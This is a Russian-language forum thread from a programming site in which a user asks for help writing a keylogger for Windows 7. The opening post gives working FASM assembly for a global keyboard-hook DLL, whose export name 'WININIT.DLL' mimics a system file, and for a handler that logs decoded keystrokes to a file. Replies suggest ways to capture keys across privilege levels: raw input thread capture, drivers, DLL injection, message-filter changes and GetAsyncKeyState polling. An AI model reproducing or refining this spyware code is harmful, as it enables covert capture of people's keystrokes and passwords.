KeyLog Win7

Тема в разделе "WASM.WIN32", создана пользователем dgs, 8 янв 2012.

  1. dgs

    dgs New Member

    Публикаций:
    0
    Регистрация:
    23 июн 2008
    Сообщения:
    434
    Здравствуйте. Интересуют способы написания клавиатурных шпионов для Windows 7. Делал хук на клавиатуру, проблема заключается в том, что если хук поставлен с правами администратора, я не могу перехватить клавиатурные нажатия адресованные приложениям с правами юзера и на оборот, может надо использовать другой метод? Или ошибка в моём коде?. Так же не всегда соблюдается регистр символов, видимо я не правильно передаю скан код в ToAsciiEx, помогите пожалуйста.

    DLL
    Код (Text):
    1. format PE GUI 4.0 DLL
    2. entry DllEntryPoint
    3.  
    4.         WM_KEYEVENT     = WM_USER+1
    5.  
    6. include 'win32a.inc'
    7.  
    8. section '.text' code readable writable executable
    9.  
    10.         hook            dd ?
    11.         hinst           dd ?
    12.  
    13.         _class          db 'NEXUZ_WIN32', 0
    14.  
    15. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
    16.  
    17.         mov     eax, [hinstDLL]
    18.         mov     [hinst], eax
    19.         mov     eax, TRUE
    20.         ret
    21. endp
    22.  
    23. proc SetHook flag
    24.  
    25.         mov     eax, [flag]
    26.         or      eax, eax
    27.         jz      @F
    28.         invoke  SetWindowsHookEx, WH_KEYBOARD, KeyboardProc, [hinst], 0
    29.         mov     [hook], eax
    30.         ret
    31.   @@:   invoke  UnHookWindowsHookEx, [hook]
    32.         ret
    33. endp
    34.  
    35. proc KeyboardProc, lcode, wparam, lparam
    36.  
    37.         cmp     [lcode], HC_ACTION
    38.         jnz     @close
    39.         test    [lparam], 80000000h
    40.         jnz     @close
    41.  
    42.         invoke  FindWindow, _class, _class
    43.         invoke  PostMessage, eax, WM_KEYEVENT, [wparam], [lparam]
    44.  
    45.   @close:
    46.         invoke  CallNextHookEx, [hook], [lcode], [wparam], [lparam]
    47.         ret
    48. endp
    49.  
    50. section '.idata' import data readable writeable
    51.  
    52.   library user,'USER32.DLL'
    53.  
    54.   import user,\
    55.          FindWindow,'FindWindowA',\
    56.          PostMessage,'PostMessageA',\
    57.          SetWindowsHookEx,'SetWindowsHookExA',\
    58.          UnHookWindowsHookEx,'UnhookWindowsHookEx',\
    59.          CallNextHookEx,'CallNextHookEx'
    60.  
    61. section '.edata' export data readable
    62.  
    63.   export 'WININIT.DLL',\
    64.          SetHook, 'SetHook'
    65.  
    66. section '.reloc' fixups data discardable
    Ну и в главном приложении при получении сообщения WM_KEYEVENT:
    Код (Text):
    1. [KeybrdState] - указатель, на 256 байт выделенных VirtualAlloc
    2. key rb 16
    3.  
    4. ...
    5.  
    6.   .wmkeyevent:
    7.         invoke  GetKeyboardState, [KeybrdState]
    8.         movzx   eax, byte[lparam+2]
    9.         invoke  ToAsciiEx, [wparam], eax, [KeybrdState], key, 0, ebx
    10.         test    eax, eax
    11.         jz      .finish
    12.         invoke  lstrlen, key
    13.         invoke  _lwrite, [hlog], key, eax
    14.         inc     eax
    15.         jz      error
    16.         invoke  FlushFileBuffers, [hlog]
    17.         cld
    18.         mov     edi, key
    19.         xor     eax, eax
    20.         mov     ecx, 12
    21.      @@:stosb
    22.         loop    @B
    23.         xor     eax, eax
    24.         jmp     .finish
     
  2. Malfoy

    Malfoy New Member

    Публикаций:
    0
    Регистрация:
    2 янв 2012
    Сообщения:
    698
    Захват RIT. Остальное унылое дерьмо, не выше не ниже(IRP).
     
  3. dgs

    dgs New Member

    Публикаций:
    0
    Регистрация:
    23 июн 2008
    Сообщения:
    434
    Я так понимаю, мне в моём случае драйвер надо делать?
     
  4. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    А длл подгружается в те процессы?
    Возможно, что длл не грузится в процесс с другим integrity level?
     
  5. dgs

    dgs New Member

    Публикаций:
    0
    Регистрация:
    23 июн 2008
    Сообщения:
    434
    0_о Это как?

    Вообще, по идеи, всё должно работать в Ring3 и от уровня user. Например Punto Switcher как то же работает, но вот как?
     
  6. sysexit

    sysexit New Member

    Публикаций:
    0
    Регистрация:
    27 авг 2010
    Сообщения:
    176
    Внедряет DLL, и он от админа работает.
     
  7. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    dgs
    ну так SetWindowsHookEx же?
     
  8. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
  9. dgs

    dgs New Member

    Публикаций:
    0
    Регистрация:
    23 июн 2008
    Сообщения:
    434
    Объясните пожалуйста подробнее, я не очень пойму, вот в XP делал один вызов LoadLibrary, дальше GetProcAdress и вызывал SetHook (см мою Dll), а внедрять в процессы - это как?

    Устанавливается, от админа, но автозапуск насколько я знаю, в семерки при включенном UAC с правами администратора - запрещен, если программа не запросит повышение прав, но тогда вылетит сообщение UAC. bypas для меня не подходит.
     
  10. Apocalypse

    Apocalypse New Member

    Публикаций:
    0
    Регистрация:
    25 май 2011
    Сообщения:
    16
    DLL должена работать в АП того процесса, в котором нужен перехват клавиш.
     
  11. vasyapupkin

    vasyapupkin New Member

    Публикаций:
    0
    Регистрация:
    15 фев 2012
    Сообщения:
    5
    Я тут как-то пару лет назад писал аналог ПунтоСвитчера и он работал в юзермоде в IE7.

    Тоже долго мучился, потом нашел на codeproject:

    Код (Text):
    1.     // Загружаем user32.dll
    2.     hinstUser32Lib = AfxLoadLibrary(TEXT("user32"));
    3.     if (hinstUser32Lib != NULL)
    4.     {
    5.         // Получаем указатель на функцию ChangeWindowMessageFilter
    6.         // Функция существует только в Windows Vista
    7.         cwmfProcAdd = (CWMF) GetProcAddress(hinstUser32Lib,
    8.             "ChangeWindowMessageFilter");
    9.  
    10.         if (NULL != cwmfProcAdd)
    11.         {
    12.             // Разрешаем сообщение UWM_INPUTLANGCHANGE и WM_COPYDATA
    13.             // от приложений, работающих в Protected Mode (IE7 в Windows Vista)
    14.             (cwmfProcAdd)(UWM_INPUTLANGCHANGE, MSGFLT_ADD);
    15.             (cwmfProcAdd)(WM_COPYDATA, MSGFLT_ADD);
    16.         }
    17.     }
     
  12. teXture

    teXture New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2011
    Сообщения:
    17
    dgs
    Почему бы вам циклический опрос не сделать с помощью функции GetAsynсKeyState. Этот метод на Win7 работает и не надо с DLL’ой таскаться. Вот тут есть пример на fasm:
    https://vazonez.com/forum/index.php?topic=216.0